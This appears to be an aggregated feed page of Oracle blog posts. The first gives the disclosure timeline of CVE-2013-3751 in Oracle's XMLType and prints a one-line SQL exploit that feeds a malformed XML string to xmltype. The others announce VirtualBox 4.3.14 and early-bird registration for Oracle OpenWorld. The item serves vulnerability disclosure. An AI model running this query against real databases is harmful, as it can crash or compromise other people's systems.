This vulnerability was found by Nicolas Grégoire: He released an exploit nearly 1 year after the patch was published by Oracle. But it seems that he was not aware that Oracle forgot to fix this issue in Oracle 12.1

Timeline of CVE-2013-3751:

  • January 2012: Vulnerability found (fuzzing)
  • February 2012: Vulnerability reported to ZDI
  • March 2012: Vulnerability contracted $500
  • November 2012: Reported to Oracle by ZDI
  • July 2013: Patch published by Oracle
  • March 2014: Oracle’s Cloud still not patched
  • June 2014: Exploit released at INS#14 conference
  • July 2014: Patch for Oracle 12.1 published by Oracle

 

Exploit:

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select * from dual where xmltype(q'{<aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
abbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbcccccccccccccccccccccccccccccccccccccccccccccccc
ddddddddddddddddddddddddddddddddddddddddddddddddeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
ffffffffffffffffffffffffffffffffffffffffffffffffhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
iiiiiiiiiiiiiiiiiiiiiiiiii foo="bar[a &lt; b]"/>}') like '0wn3d_again';

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VirtualBox 4.3.14

Tim Hall - Wed, 2014-07-16 07:23

Oracle have given birth to VirtualBox 4.3.14. Mother and baby are doing well, with the downloads and changelog in the usual places.

Happy upgrading…

Cheers

Tim…

PS. Looks like the baby might be still-born. Fails pretty badly on Windows 7 at the moment…

PPS. Seems to work fine on Mac and Linux (Fedora 20)…

VirtualBox 4.3.14 was first posted on July 16, 2014 at 2:23 pm.
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Oracle OpenWorld and JavaOne SF 2014 - Early Bird Ends July 18th!

OTN TechBlog - Tue, 2014-07-15 13:34
Get the most. Save the most.

There are things to do at Oracle OpenWorld and JavaOne you can't do anywhere else. One of them is scoring Early Bird savings, which end on July 18, THIS FRIDAY!

Register for Oracle OpenWorld

Register for JavaOne

OTN will be posting it's list of 'can't do anywhere else' activities that we will be hosting at Oracle OpenWorld and JavaOne soon.